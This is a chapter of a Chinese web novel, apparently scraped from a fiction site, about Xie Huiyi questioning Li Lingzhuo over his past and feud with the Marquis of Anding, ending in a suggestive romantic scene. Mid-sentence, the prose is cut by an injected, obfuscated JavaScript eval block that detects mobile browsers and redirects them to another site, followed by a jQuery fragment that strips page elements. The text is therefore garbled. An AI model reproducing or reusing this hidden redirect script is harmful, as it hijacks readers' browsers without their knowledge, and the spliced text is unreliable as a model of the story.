“原来是文氏。我记得文氏出过一位文贵妃,听旁人说她宠冠六宫,是个风姿绝艳之人,你说于夫子从京城来,她莫不是文贵妃的侍女?” 关于此事,李灵濯也没打算瞒她。 “是。文贵妃还是文家大小姐时,于夫子就陪伴在侧了。不过那时她不叫于虞,她们主仆二人情谊非凡,因文大小姐叫文澄,于虞便叫作澈儿。” 闻言,谢晦已不禁心生疑虑:“既然是文贵妃的人,你让于夫子留青州这么多年,是为了什么?于夫子又为何追随于你?” “因为文贵妃,如今已经是先帝的昭怀皇贵妃,陪葬皇陵了。而于夫子缅怀旧主,常道自己困顿于虞,便改了自己的名姓。” 李灵濯回答这个问题时,很明显是在避重就轻。 “没了旧主,宫人总要有个安身之处,不是吗?”他又说道。 这话听起来很合乎情理,然而从他嘴里说出来,怎么听都不是那么回事。 “说不通啊李大人。于夫子所言之事件件直指安定侯,只为安身的话,何必得罪当朝权贵?若我是她,隐姓埋名的下一步便是远走高飞,怎么可能再蹚你们京城的浑水?” 分析所得情报,谢晦已心中隐隐有了猜测。 “还有一事,我似是没有与你提起过。当初在青州时,我与你第一次说起你的京城往事,你那时怎么回答我的?” 李灵濯闻言瞳孔骤缩,却没有当即吭声。 “我当时问,‘被你凌迟处死的那些人呢?’,你回答我,‘是谁向你透露的?是王同知?’。” 谢晦已的目光从容不迫:“王同知不认得你,也没在京城见过你。那我相当好奇,你当时回答我的,还有你以为我问的,究竟是哪件事?你当真只为青州案而来,而没有半点……私人恩怨?” 话音刚落,屋子瞬间陷入死寂。 李灵濯垂着眸子,谢晦已一时看不清他的神色,却能感受到他身上莫名的悲戚,仿佛沉寂已久某些痛楚,被她的敏锐重新撕开了。 不知过了多久,他终于肯开口了。只是声音低沉,似是从远方而来: “是有些恩怨。我与安定侯之间。青州死掉的那些人不痛不痒,不过是一些聒噪的东西。” 他没有接着说下去,但谢晦已没有立刻开口。 她在等,她的直觉告诉她此事没有这般简单。困住她的巨兽是那些层叠山峦,如今她已经逃了出来,成为了下一个可怖的巨兽,而李灵濯没有。 修道之人常说,斩断三尸方可成仙。 李灵濯的巨兽还藏在心里,他在扼杀它,束缚它,甚至是怨恨它,却从来没有过直视。 他畏惧,他恐慌,他逃避,这些是他从未流露出来的情绪。 青州山林时,她便注意到了。李灵濯虽谈不上事事与她心意相通,却是个心思细腻的人。 排除他极为坚持的按律法行事,这算是他们二人之间的行事分歧,剩下的事情里,十件里有八件,他们能做出同样的抉择。 他能在雪夜盖住自己的脑袋逃跑,能为了兰畹一路遮掩她的过往,可不像是不懂女子声誉能要人性命。 所以他怎会不懂得,放青州村子里的那些女子回归故土,无异于送她们赴死? 可他偏偏是一副不愿多思,不愿多管的态度,这是为什么?是亲眼目睹过什么,却又挣扎无望吗? 她难得老老实实地坐在绣墩上,温暖的目光不移分毫,悉数落在李灵濯身上。 她仍旧选择等待。 算是等价交换,也算是她有感而发,毕竟这一路他待自己不薄。他的状态不适合再逼问下去,刚好,她也觉得将那一分真心宣之于口,实在难为情。 也或许她不必开口挑明,他也会明白的。听他说了那么多旁人的事,如今她最关心的人,是他自己。 李灵濯感觉到了什么,下意识地抬起头,目光刚好与她相撞。 那一瞬间,一抹难以言喻的暖流忽然在他心头乍现,她尚未说出口的关怀,就这般让他触碰到了实质。 她果真是黎明,他心想。 这一刻,他不必凿壁偷光了,转头打开封堵的纸窗,就能将属于他的阳光放进来。 于是他动了动嘴唇,寻了一件事作为开场。 “我母亲与我父亲和离了。” 他语气淡漠,宛若一个旁观者,“我父亲起初是不肯的,娄厥物产贫瘠土地荒芜,我外祖父只得割让最肥沃的草场,换我母亲回家。 “我母亲那个时候已经疯了。无论在哪,她总是孤零零的,见谁都是一副惊惧的神情。可她不是天生的疯子。我外祖父与我说过,她是草原上的一轮明月,连风都不忍割伤她,给了她一双清澈的黑眼睛。 “她似乎有沟通神明的力量,从小就希望自己会成为最厉害的大祭司,随风跳舞时,总会引来成群的蝴蝶,引来漫天飞舞的白鸽……也引来了我的父亲。 “他抢走了她,逼她认了命,却从来没有学过我们的语言。她孤零零地生下我,原以为会有个依靠,却没想到会遭到厌弃。她喊了无数次,娄厥人眼睛里会有春日的野草横生,这是天赐的生机与绿意,可是他们听不懂。” 想起冷宫的那些岁月,那些年的动辄打骂,李灵濯在心中反复回想着那场大火,反复回想着那些人的死状,和自己沾满鲜血的双手,总算让烦躁的心绪平复下来。 随后,他继续开口,带着几分冰冷的自嘲,“回到娄厥后,她终于能听懂那些言语了。那些不理解外祖父卖掉草场的族人,他们的恨意,她终于靠耳朵听懂了。 “后来的事情,你或许听说过。草场养肥了盛朝的马,迎来的却是铁蹄践踏。我的母亲很幸运,没有亲眼目睹这些,早早长眠在她钟爱的草原。 “又或许,她死于国仇家恨,死于族人暗害,死于安定侯的阴谋,死于我的匕首。你愿意相信哪一个呢,谢小姐?” 言及于此,李灵濯面不改色地看向谢晦已。仿佛他什么都不在乎,仿佛他说完这一番话,整颗心也如寒冬九尺冰,再无任何响动。 那些令他无法排解的痛苦,还有他永远讲不出口的过往,只能止步于此了。 他还是无法全然敞开自己。 谢晦已听完他的过往,开始思索自己的答复。 不知怎的,她忽然想起梨园那出《长命女》。 当时他们二人的话语,她还历历在目。 “薄命女大仇得报,儿子没有认贼作父,也算是个好结尾,可惜没能亲手杀死仇人。” “是吗?倘若她最终能死而复生,变成真正的长命女就更好了。” “虽说是戏曲,但内容总要贴合现实吧?” “现实这样无趣,人们总要在故事中找到慰藉。编者既是能编织一场梦,何不彻彻底底大梦一场?” 于是现在,她有了自己的答案。 “你忘了?你母亲是草原上最厉害的大祭司。大祭司能化身鸟雀,当年的那些白鸽,都是她真正的族人。” 谢晦已目光灼灼地看着他,嘴角扯着一抹调侃的笑。 “爱护她的人,会化身为白鸽,陪她翱翔在云霄之上,最终她选择成为明月,成为了他们的天。 “天所爱护的你,成为了火燎不尽的野草。你是天赐的生机与绿意,也是天命所归,要替她去看无数个春和景明。 “你说是吗,李大人?” 望着她故作轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875711|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松的姿态,李灵濯眸光一颤,竟是久久忘了呼吸。 她惯来如此。哄人的漂亮话一箩筐接着一箩筐,他的期待总会落地,这是属于他的意料之中。 白日里寻她不见,黑夜里胡作非为,对他而言神龙不见首尾的谢小姐,没讲过几句真话的小骗子,偏偏颇得他人的目光,他往旁边一站,便会淹没在人群中。 于是他看得紧了。可有良心的却要得一句埋怨,没良心的。 他开了窗子,放阳光进来。但太阳就算仅剩一缕余晖,也能分得云雾三分红艳。 雾里看花,水中望月,他看不见她,也无法独占她。 旁的事他摸不准,猜不透。但有一件事他分得清楚。 景明三年的冬日,他瞧见了春和景明。 论心,也要论迹,他都要。 见他迟迟不说话,对面的谢晦已也思索起两人方才的交谈。 她总觉得哪里还是有些不对。到底是哪里不对呢?是安定侯与他的过节,还是他母亲被杀害的缘由? 她手上无意识地,将粥里的花生拨弄到一侧,一粒接着一粒,却没想到李灵濯忽然夹住了她的木箸。 她被打断了思绪,不禁轻蹙眉头,抬头看他。 哄他哄了许久,怎么轮到她自己,就没了清静呢? “谢小姐,粒粒皆辛苦。” 李灵濯似是看破了她的埋怨,妖冶的眼瞳勾着笑,一字一句,带了些许蛊惑的意味。 见他恢复了往日的生龙活虎,她索性也岔开不提,只不甘示弱地撂下碗筷,一股脑地推向他:“原本就吃饱了,你添的麻烦该由你来解决。” “吃饱了?你从前不会只吃半碗的。” 李灵濯接过她的碗,随即起身走到她身侧,用脚一勾,将绣墩勾了过来。 他的用意昭然若揭。 “早膳不用会伤胃。” 说着,他舀起了一勺粥,朝她伸了过来,“张嘴。” 谢晦已低眸看了看。 没有外人时,他向来不喜束缚,里衣总是松松垮垮地系在身上,颇有娄厥人独有的野性。那一对玲珑竹节似的骨骼透着玉色,肌肤虽不似中原人这般白皙,却更能凸显流畅的肌肉线条。 常年习武之人果真有真材实料,更别说眼前之人今日似是换了一件里衣……昨夜她倒头就睡,真是辜负了一片美意。 谢晦已不动声色地轻挑眉宇,身体向前倾了倾。 窗台明光下,若隐若现的一层流光纱,不用触摸便可知它绸缎般的丝滑手感,未经香汤沐浴,这层纱便若氤氲雾气,似有若无,如梦似幻,蒙在她的眼间。 他看出自己有所怀疑,此刻明晃晃地走过来,就是想转移话题啊。如此拙劣的手段,简直是一个低劣的硬钩,莫非是黔驴技穷了? 他觉得她轻易会上钩吗? 谢晦已眼眸闪了闪,张嘴吃下了那一勺带着花生的粥。 李灵濯见状喉结微动,却没说什么。 下一刻,谢晦已忽然起身,含住他的双唇,将口中的米粥一一渡给他。 一粒都没有浪费。 李灵濯微眯起双眼,眸色翻沉,竭力压制的那一抹邪火彻底被她勾起来了。 他终于无比可耻地意识到,自己像个紧缠着她的动物,对她毫无定力,一切行为都出于他的原始本能。 他不想让她如流沙般消逝,随着时间推移,只剩下注定的分道扬镳。 他开始希冀于永远了。 谢晦已不知他心中所想,刚想抽离,却被他按住脑袋,加深了这个吻。 她被这忽然的吻搞得七颠八倒。近乎透不过气时,她急忙推了推他,抢得喘息的片刻。 李灵濯呼吸滚烫,里衣已经被她扯去大半,汗水从他的下颌线滑落,滚在喉结上随它颤了颤,最终一落到底。 薄如蝉翼的纱衣被汗水浸湿,褪却了朦胧雾色,唯余半遮半掩。 谢晦已目睹这一幕,不禁勾唇一笑。 “小郎君,盛情难却啊,不若随我上榻?” 李灵濯上前一步将她打横抱起,低沉沙哑的声音,带着几许他遮掩不住的眷恋。 “听凭,诰命夫人差遣。” 鸡蛋剥了壳,柔嫩的卵白经不起反复雕磨,它似是没有骨骼,似是捉摸不透的云,半熟时凝了几许银丝,坠下时,发出了曲折的叹息。 细密搅拌时,半熟卵白的每一寸都在颤抖,绵密的漩涡,渐渐有了细小的泡沫,渐渐地,轻飘飘地,蓬松的云捧着它飞了起来。乳白色的云团,若雨后初霁,紧追着久违的阳光,紧密缠绵,紧抓不放。 最终,没有重量也没有心事,只余下相伴的温暖与喘息。